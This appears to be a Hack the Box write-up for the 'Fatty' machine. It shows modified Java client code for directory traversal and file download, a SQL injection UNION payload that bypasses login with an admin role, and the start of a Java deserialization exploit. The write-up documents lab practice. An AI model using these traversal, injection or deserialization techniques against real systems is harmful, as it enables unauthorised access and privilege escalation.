Fatty is an insane rated box in Hack the Box, it was extremely fun to do even though it took me ~50 hours of work to root it. This box will make you reverse engineer a java client and a server, write some code and learn how symlink really works behind different technologies.
Got some coffee and get ready to enjoy this master piece.
Enumeration
First things first, so Nmap gave us an FTP server with anonymous access allowed, also some other ports that nmap wasn't able to discover what was running on it.
Nmap told us the FTP service allowed anonymous access, is time to connect and see whats on the files
$ftp10.10.10.174Connectedto10.10.10.174.220qtc's development serverName (10.10.10.174:xnaaro): anonymous230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar-rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt-rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt226 Directory send OK.
First text file suggest the server has some kind of vulnerability and they changed default connection port but the fatty-client was updated with such changes.
One we gathered some information, first tried to directly connect with fatty-client which gave us connection error since the port whose trying to connect was not opened.
Reverse engineer and rebuild package
At this point only thing we where able to do is to decompile the .jar package with jd-gui program and export the resulting contents into our computer.
First thing we need is to create a correct maven package layout. To do this copy pom.xml and pom.properties from META-iNF/maven/fatty-client/fatty-client into package's root directory.
Next move all contents from htb to src folder (create it)
Copy the following files from package root into a new resources folder.
After enumerating the server with qtc permissions, we saw the following file which informs qtc that only his user is enabled and all admin users removed, this is useful information for later steps.
At this point we had no idea of how to proceed as we still missing some server behavior knowledge prior exploitation of other vulnerabilities.
Now is time to check if directory traversal was a thing and it was, we were able to see some other files in a previous directory, but due some server side input validation only a single directory traversal was possible.
In the traversed directory with ..///////// payload we can see a file called fatty-server.jar
Modify src/htb/fatty/client/methods/Invoker.java, might need to import some other classes at the begining of the java file.
Modified code for directory traversal file listing
publicStringshowFiles(String folder) throws MessageParseException, MessageBuildException, IOException {String methodName = (newObject() { }).getClass().getEnclosingMethod().getName();logger.logInfo("[+] Method '"+ methodName +"' was called by user '"+this.user.getUsername() +"'.");if (AccessCheck.checkAccess(methodName,this.user)) {return"Error: Method '"+ methodName +"' is not allowed for this user account"; }this.action=newActionMessage(this.sessionID,"files");this.action.addArgument("..///////");sendAndRecv();if (this.response.hasError()) {return"Error: Your action caused an error on the application server!"; }returnthis.response.getContentAsString(); }
Modified code for file download
importjava.io.File;importjava.io.FileOutputStream;publicStringopen(String foldername,String filename) throws MessageParseException, MessageBuildException, IOException {String methodName = (newObject() { }).getClass().getEnclosingMethod().getName();logger.logInfo("[+] Method '"+ methodName +"' was called by user '"+this.user.getUsername() +"'.");if (AccessCheck.checkAccess(methodName,this.user)) {return"Error: Method '"+ methodName +"' is not allowed for this user account"; }this.action=newActionMessage(this.sessionID,"open");this.action.addArgument("../////////");this.action.addArgument("fatty-server.jar");this.action.send(this.serverOutputStream);this.message=Message.recv(this.serverInputStream);this.response=newResponseMessage(this.message);FileOutputStream fop =null;File file;String content ="";try { file =newFile("fatty-server.jar"); fop =newFileOutputStream(file);if (!file.exists()) {file.createNewFile(); }byte[] contentInBytes =this.response.getContent();fop.write(contentInBytes);fop.flush();fop.close();System.out.println("Done"); } catch (IOException e) {e.printStackTrace(); } finally {try {if (fop !=null) {fop.close(); } } catch (IOException e) {e.printStackTrace(); } }if (this.response.hasError()) {return"Error: Your action caused an error on the application server!"; }String response ="";return response; }
Compile the client with maven again, login and click filebrowser on any folder, then click open.
At this point fatty-server.jar file should be already downloaded
Decompile server contents with jd-gui.
Some of the main thing noticed was a database connection.
Also on checkLogin method we can see an SQL injection was possible as no input sanization was done.
At first tried many different SQLi payload but got no success, so build a local lab to emulating server side code and client connections.
After a few hours analyzing server responses and modifying client code, got a sucess SQLi.
This is the Client method we have to bypass src/htb/fatty/shared/resources/User.java As we can see client side code will create a hash of username:password+string so our payload was not being executed properly.
All this information was after hours of debugging locally, this write up is not a step by step guide but rather a how to do some parts. You might need to investigate a bit more the code to fully understand and fix the code.
The payload used on username during logging was this, password field could be left empty as we hardcoded the hash in code.
The payload will return looked up server side data from the database and hardcode a role value with 'admin', this way we got admin role on the app without breaking other people fun changing content on the database.
' UNION SELECT all id,username,email,password,'admin' from users where username='qtc
And we got a successful login with admin privileged.
[AWT-EventQueue-1] INFO infoLogger - [+] Connection process finished.[AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc[AWT-EventQueue-1] INFO infoLogger - E42C818F80D72ED7E5752AE36777F97628942A23B8F4BBDA3C1A9068409549A9[AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046[AWT-EventQueue-1] INFO infoLogger - [+] Login successful!
Java object serialization + RCE
Reviewing server side code was very clear that RCE was through object de-serialization on changePW method but the method was not fully implemented in client side code.
Now is time to make the client change password work to pass a new password in the client GUI src/htb/fatty/client/gui/ClientGuiTest.java
pwChangeButton.addActionListener(newActionListener() {publicvoidactionPerformed(ActionEvent e) {String response ="";String new_pass =textField_2.getText();try { response =ClientGuiTest.this.invoker.changePW(ClientGuiTest.this.currentFolder, new_pass); } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {JOptionPane.showMessageDialog(controlPanel,"Failure during message building/parsing.","Error",0); }catch (IOException e2) {JOptionPane.showMessageDialog(controlPanel,"Unable to contact the server. If this problem remains, please close and reopen the client.","Error",0); }textPane.setText(response); } });
And modify the changePW method to not encode the input and directly pass our base64 encoded payload src/htb/fatty/client/methods/Invoker.java
publicStringchangePW(String username2,String newPassword) throws MessageParseException, MessageBuildException, IOException {String methodName = (newObject() { }).getClass().getEnclosingMethod().getName();logger.logInfo("[+] Method '"+ methodName +"' was called by user '"+this.user.getUsername() +"'.");if (AccessCheck.checkAccess(methodName,this.user)) {return"Error: Method '"+ methodName +"' is not allowed for this user account"; }String username ="qtc";User user =newUser(username, newPassword);this.action=newActionMessage(this.sessionID,"changePW");this.action.addArgument(newString(newPassword));sendAndRecv();if (this.response.hasError()) {return"Error: Your action caused an error on the application server!"; }returnthis.response.getContentAsString(); }
At this point we were able to pass a base64 encoded payload during password change, but we still need to find a proper payload.
So at pom.xml in server source we saw commons-collections 3.1 library is used.